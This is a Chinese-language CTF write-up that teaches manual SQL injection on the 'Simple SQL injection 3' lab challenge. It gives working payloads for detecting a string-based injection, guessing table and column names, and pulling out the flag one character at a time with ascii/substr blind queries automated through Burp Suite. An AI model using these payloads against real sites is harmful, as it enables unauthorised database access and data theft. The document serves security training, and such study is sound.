sql注入:手工注入的一般套路

这道题不是考工具使用,我们要练习手工注入…….

sql注入:手工注入的一般套路_第1张图片


题目:简单的sql注入之3

地址:http://www.shiyanbar.com/ctf/1909


sql注入:手工注入的一般套路_第2张图片

没有手工注入的小伙伴们看看了,跟着daoskc的思路一起学习下。


本文的手工的暴力猜解都由BurpSuite完成

首先先作判断:

正常情况下输入?id=1,页面正常输出hello,?id=0页面不输出

输入?id=’页面直接报SQL语法错误

输入?id=1 and 1=2页面正常 ?id=1' and '1'='2 页面无输出

可以看出,这个是字符型SQL注入,未过滤引号和and,条件正确的情况下输出hello,错误无输出,比起SQL盲注,好像又多了语法报错

猜解表

?id=1' and(select count(*) from 表名)>0 %23

表名不存在时,报错

Warning: mysql_fetch_array(): supplied argument isnot a valid MySQL result resource in C:\wamp\www\web\index_3.php online 30
Table 'web10.admin' doesn't exist

可以直接将表名丢Burp里字典猜解

?id=1' and(select count(*) from flag)>0 %23

flag表存在返回hello

猜字段

?id=1'and(select 列名 from flag)>-1 %23

或?id=1'unionselect 列名 from flag %23

字段列名存在输出helo,不存在则报错,

?id=1'and(select flag from flag)>-1 %23,页面输出hello

猜解字符

?id=1'andascii(substr((select flag from flag),2,1))=107%23

直接将字符位置,和ASCII码放Burp Suite里面猜解

位置从0到35(实际26位),ASCII码从30到127

sql注入:手工注入的一般套路_第3张图片

按字符次序整理下,直接在BurpSuite下解码

sql注入:手工注入的一般套路_第4张图片

即可得FLAG

也可以放PANGOLIN下直接跑(从下面输出框也可以看出,是在逐个字符猜解字符)

sql注入:手工注入的一般套路_第5张图片

  

你可能感兴趣的:(ctf)